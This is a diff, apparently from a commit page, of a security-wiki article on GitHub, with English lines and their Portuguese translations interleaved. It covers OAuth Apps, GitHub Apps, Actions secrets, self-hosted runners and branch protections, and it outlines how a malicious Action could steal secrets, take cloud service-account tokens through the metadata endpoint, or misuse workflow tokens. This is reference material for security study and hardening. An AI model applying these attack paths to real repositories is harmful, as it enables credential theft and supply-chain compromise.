- Você pode ver os **escopos que os Aplicativos Oauth podem solicitar** em [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- Você pode ver o acesso de terceiros de aplicativos em uma **organização** em _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
|
||||
Some **security recommendations**:
|
||||
Algumas **recomendações de segurança**:
|
||||
|
||||
- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
|
||||
- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
|
||||
- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
|
||||
- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
|
||||
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
- Um **Aplicativo OAuth** deve sempre **agir como o usuário autenticado do GitHub em toda a plataforma** (por exemplo, ao fornecer notificações ao usuário) e com acesso apenas aos escopos especificados.
|
||||
- Um Aplicativo OAuth pode ser usado como um provedor de identidade ao habilitar um "Login com GitHub" para o usuário autenticado.
|
||||
- **Não** crie um **Aplicativo OAuth** se você quiser que seu aplicativo atue em um **único repositório**. Com o escopo `repo`, os Aplicativos OAuth podem **agir em \_todos**\_\*\* os repositórios do usuário autenticado\*\*.
|
||||
- **Não** crie um Aplicativo OAuth para atuar como um aplicativo para sua **equipe ou empresa**. Os Aplicativos OAuth se autenticam como um **único usuário**, então, se uma pessoa criar um Aplicativo OAuth para uma empresa usar, e depois ela deixar a empresa, ninguém mais terá acesso a ele.
|
||||
- **Mais** em [aqui](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
|
||||
### Github Applications
|
||||
### Aplicativos do Github
|
||||
|
||||
Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
|
||||
Aplicativos do Github podem solicitar permissões para **acessar suas informações do github ou se passar por você** para realizar ações específicas sobre recursos específicos. Nos Aplicativos do Github, você precisa especificar os repositórios aos quais o aplicativo terá acesso.
|
||||
|
||||
- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
|
||||
- The GitHub App should **connect to a personal account or an organisation**.
|
||||
- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
|
||||
- You can see installed apps in an **organization** in _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
- Para instalar um Aplicativo do GitHub, você deve ser um **proprietário da organização ou ter permissões de administrador** em um repositório.
|
||||
- O Aplicativo do GitHub deve **conectar-se a uma conta pessoal ou a uma organização**.
|
||||
- Você pode criar seu próprio aplicativo do Github em [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- Você pode ver todos os **aplicativos do Github que têm acesso à sua conta** em [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- Estes são os **Endpoints da API para Aplicativos do Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Dependendo das permissões do aplicativo, ele poderá acessar alguns deles.
|
||||
- Você pode ver aplicativos instalados em uma **organização** em _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
|
||||
Some security recommendations:
|
||||
Algumas recomendações de segurança:
|
||||
|
||||
- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Make sure the GitHub App integrates with **specific repositories**.
|
||||
- The GitHub App should **connect to a personal account or an organisation**.
|
||||
- Don't expect the GitHub App to know and do everything a user can.
|
||||
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
|
||||
- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
|
||||
- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
- Um Aplicativo do GitHub deve **tomar ações independentemente de um usuário** (a menos que o aplicativo esteja usando um token [de usuário para servidor](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Para manter os tokens de acesso de usuário para servidor mais seguros, você pode usar tokens de acesso que expiram após 8 horas e um token de atualização que pode ser trocado por um novo token de acesso. Para mais informações, veja "[Atualizando tokens de acesso de usuário para servidor](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Certifique-se de que o Aplicativo do GitHub se integre com **repositórios específicos**.
|
||||
- O Aplicativo do GitHub deve **conectar-se a uma conta pessoal ou a uma organização**.
|
||||
- Não espere que o Aplicativo do GitHub saiba e faça tudo o que um usuário pode.
|
||||
- **Não use um Aplicativo do GitHub se você só precisa de um serviço de "Login com GitHub"**. Mas um Aplicativo do GitHub pode usar um [fluxo de identificação de usuário](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) para fazer login de usuários _e_ fazer outras coisas.
|
||||
- Não crie um Aplicativo do GitHub se você _apenas_ quiser agir como um usuário do GitHub e fazer tudo o que esse usuário pode fazer.
|
||||
- Se você estiver usando seu aplicativo com GitHub Actions e quiser modificar arquivos de fluxo de trabalho, deve se autenticar em nome do usuário com um token OAuth que inclua o escopo `workflow`. O usuário deve ter permissão de administrador ou escrita para o repositório que contém o arquivo de fluxo de trabalho. Para mais informações, veja "[Entendendo escopos para aplicativos OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **Mais** em [aqui](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
|
||||
### Github Actions
|
||||
|
||||
This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
|
||||
Isso **não é uma maneira de autenticar no github**, mas uma **ação maliciosa** do Github poderia obter **acesso não autorizado ao github** e **dependendo** dos **privilégios** dados à Ação, vários **ataques diferentes** poderiam ser realizados. Veja abaixo para mais informações.
|
||||
|
||||
## Git Actions
|
||||
## Ações do Git
|
||||
|
||||
Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
|
||||
As ações do Git permitem automatizar a **execução de código quando um evento acontece**. Normalmente, o código executado está **de alguma forma relacionado ao código do repositório** (talvez construir um contêiner docker ou verificar se o PR não contém segredos).
|
||||
|
||||
### Configuration
|
||||
### Configuração
|
||||
|
||||
In _https://github.com/organizations/\<org_name>/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
|
||||
Em _https://github.com/organizations/\<org_name>/settings/actions_ é possível verificar a **configuração das ações do github** para a organização.
|
||||
|
||||
It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
|
||||
É possível proibir o uso de ações do github completamente, **permitir todas as ações do github**, ou apenas permitir certas ações.
|
||||
|
||||
It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
|
||||
Também é possível configurar **quem precisa de aprovação para executar uma Ação do Github** e as **permissões do GITHUB_TOKEN** de uma Ação do Github quando ela é executada.
|
||||
|
||||
### Git Secrets
|
||||
### Segredos do Git
|
||||
|
||||
Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
|
||||
|
||||
These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
|
||||
A Ação do Github geralmente precisa de algum tipo de segredos para interagir com o github ou aplicativos de terceiros. Para **evitar colocá-los em texto claro** no repositório, o github permite colocá-los como **Segredos**.
|
||||
|
||||
Esses segredos podem ser configurados **para o repositório ou para toda a organização**. Então, para que a **Ação possa acessar o segredo**, você precisa declará-lo assim:
|
||||
```yaml
|
||||
steps:
|
||||
- name: Hello world action
|
||||
with: # Set the secret as an input
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
env: # Or as an environment variable
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
- name: Hello world action
|
||||
with: # Set the secret as an input
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
env: # Or as an environment variable
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
```
|
||||
|
||||
#### Example using Bash <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
|
||||
#### Exemplo usando Bash <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
```yaml
|
||||
steps:
|
||||
- shell: bash
|
||||
env: SUPER_SECRET:${{ secrets.SuperSecret }}
|
||||
run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
- shell: bash
|
||||
env: SUPER_SECRET:${{ secrets.SuperSecret }}
|
||||
run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Secrets **can only be accessed from the Github Actions** that have them declared.
|
||||
> Segredos **só podem ser acessados a partir das Github Actions** que os têm declarados.
|
||||
|
||||
> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
|
||||
> Uma vez configurados no repositório ou nas organizações, **os usuários do github não poderão acessá-los novamente**, eles só poderão **alterá-los**.
|
||||
|
||||
Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
|
||||
Portanto, a **única maneira de roubar segredos do github é conseguir acessar a máquina que está executando a Github Action** (nesse cenário, você poderá acessar apenas os segredos declarados para a Action).
|
||||
|
||||
### Git Environments
|
||||
|
||||
Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
|
||||
|
||||
Github permite criar **environments** onde você pode salvar **secrets**. Então, você pode dar à github action acesso aos segredos dentro do ambiente com algo como:
|
||||
```yaml
|
||||
jobs:
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
```
|
||||
|
||||
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
|
||||
It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
|
||||
Você pode configurar um ambiente para ser **acessado** por **todos os ramos** (padrão), **apenas ramos protegidos** ou **especificar** quais ramos podem acessá-lo.\
|
||||
Também é possível definir um **número de revisões necessárias** antes de **executar** uma **ação** usando um **ambiente** ou **aguardar** algum **tempo** antes de permitir que os deployments prossigam.
|
||||
|
||||
### Git Action Runner
|
||||
|
||||
A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
|
||||
Uma Github Action pode ser **executada dentro do ambiente github** ou pode ser executada em uma **infraestrutura de terceiros** configurada pelo usuário.
|
||||
|
||||
Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
|
||||
Várias organizações permitirão a execução de Github Actions em uma **infraestrutura de terceiros**, pois costuma ser **mais barato**.
|
||||
|
||||
You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
|
||||
Você pode **listar os runners auto-hospedados** de uma organização em _https://github.com/organizations/\<org_name>/settings/actions/runners_
|
||||
|
||||
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
|
||||
A maneira de descobrir quais **Github Actions estão sendo executadas em infraestrutura não github** é procurar por `runs-on: self-hosted` na configuração yaml da Github Action.
|
||||
|
||||
It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
|
||||
**Não é possível executar uma Github Action de uma organização dentro de uma caixa auto-hospedada** de uma organização diferente porque **um token único é gerado para o Runner** ao configurá-lo para saber a qual runner pertence.
|
||||
|
||||
If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
|
||||
Se o **Github Runner personalizado estiver configurado em uma máquina dentro da AWS ou GCP**, por exemplo, a Action **pode ter acesso ao endpoint de metadados** e **roubar o token da conta de serviço** com a qual a máquina está sendo executada.
|
||||
|
||||
### Git Action Compromise
|
||||
### Comprometimento da Git Action
|
||||
|
||||
If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
|
||||
Se todas as ações (ou uma ação maliciosa) forem permitidas, um usuário pode usar uma **Github action** que é **maliciosa** e irá **comprometer** o **container** onde está sendo executada.
|
||||
|
||||
> [!CAUTION]
|
||||
> A **malicious Github Action** run could be **abused** by the attacker to:
|
||||
> Uma **Github Action maliciosa** executada pode ser **abusada** pelo atacante para:
|
||||
>
|
||||
> - **Steal all the secrets** the Action has access to
|
||||
> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
|
||||
> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
|
||||
> - **Roubar todos os segredos** aos quais a Action tem acesso
|
||||
> - **Mover lateralmente** se a Action for executada dentro de uma **infraestrutura de terceiros** onde o token SA usado para executar a máquina pode ser acessado (provavelmente via o serviço de metadados)
|
||||
> - **Abusar do token** usado pelo **workflow** para **roubar o código do repositório** onde a Action é executada ou **até mesmo modificá-lo**.
|
||||
|
||||
## Branch Protections
|
||||
## Proteções de Ramo
|
||||
|
||||
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
|
||||
As proteções de ramo são projetadas para **não dar controle total de um repositório** aos usuários. O objetivo é **implementar vários métodos de proteção antes de poder escrever código dentro de algum ramo**.
|
||||
|
||||
The **branch protections of a repository** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
|
||||
As **proteções de ramo de um repositório** podem ser encontradas em _https://github.com/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
> [!NOTE]
|
||||
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
|
||||
> **Não é possível definir uma proteção de ramo em nível de organização**. Portanto, todas elas devem ser declaradas em cada repositório.
|
||||
|
||||
Different protections can be applied to a branch (like to master):
|
||||
Diferentes proteções podem ser aplicadas a um ramo (como ao master):
|
||||
|
||||
- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
|
||||
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
|
||||
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
|
||||
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
|
||||
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
|
||||
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
|
||||
- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
|
||||
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
|
||||
- **Require signed commits**. The commits need to be signed.
|
||||
- **Require linear history.** Prevent merge commits from being pushed to matching branches.
|
||||
- **Include administrators**. If this isn't set, admins can bypass the restrictions.
|
||||
- **Restrict who can push to matching branches**. Restrict who can send a PR.
|
||||
- Você pode **exigir um PR antes de mesclar** (então você não pode mesclar código diretamente sobre o ramo). Se isso for selecionado, outras proteções podem estar em vigor:
|
||||
- **Exigir um número de aprovações**. É muito comum exigir que 1 ou 2 pessoas adicionais aprovem seu PR, para que um único usuário não possa mesclar código diretamente.
|
||||
- **Desconsiderar aprovações quando novos commits são enviados**. Caso contrário, um usuário pode aprovar código legítimo e, em seguida, o usuário poderia adicionar código malicioso e mesclá-lo.
|
||||
- **Exigir revisões de Proprietários de Código**. Pelo menos 1 proprietário de código do repositório precisa aprovar o PR (para que usuários "aleatórios" não possam aprová-lo)
|
||||
- **Restringir quem pode desconsiderar revisões de pull request.** Você pode especificar pessoas ou equipes autorizadas a desconsiderar revisões de pull request.
|
||||
- **Permitir que atores especificados contornem os requisitos de pull request**. Esses usuários poderão contornar restrições anteriores.
|
||||
- **Exigir que verificações de status sejam aprovadas antes de mesclar.** Algumas verificações precisam ser aprovadas antes de poder mesclar o commit (como uma ação do github verificando se não há nenhum segredo em texto claro).
|
||||
- **Exigir resolução de conversas antes de mesclar**. Todos os comentários sobre o código precisam ser resolvidos antes que o PR possa ser mesclado.
|
||||
- **Exigir commits assinados**. Os commits precisam ser assinados.
|
||||
- **Exigir histórico linear.** Impedir que commits de mesclagem sejam enviados para ramos correspondentes.
|
||||
- **Incluir administradores**. Se isso não estiver definido, os administradores podem contornar as restrições.
|
||||
- **Restringir quem pode enviar para ramos correspondentes**. Restringir quem pode enviar um PR.
|
||||
|
||||
> [!NOTE]
|
||||
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
|
||||
> Como você pode ver, mesmo que você consiga obter algumas credenciais de um usuário, **repositórios podem estar protegidos, evitando que você envie código para o master**, por exemplo, para comprometer o pipeline de CI/CD.
|
||||
|
||||
## References
|
||||
## Referências
|
||||
|
||||
- [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
|
||||
- [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)
|
||||
@@ -253,7 +247,3 @@ Different protections can be applied to a branch (like to master):
|
||||
- [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user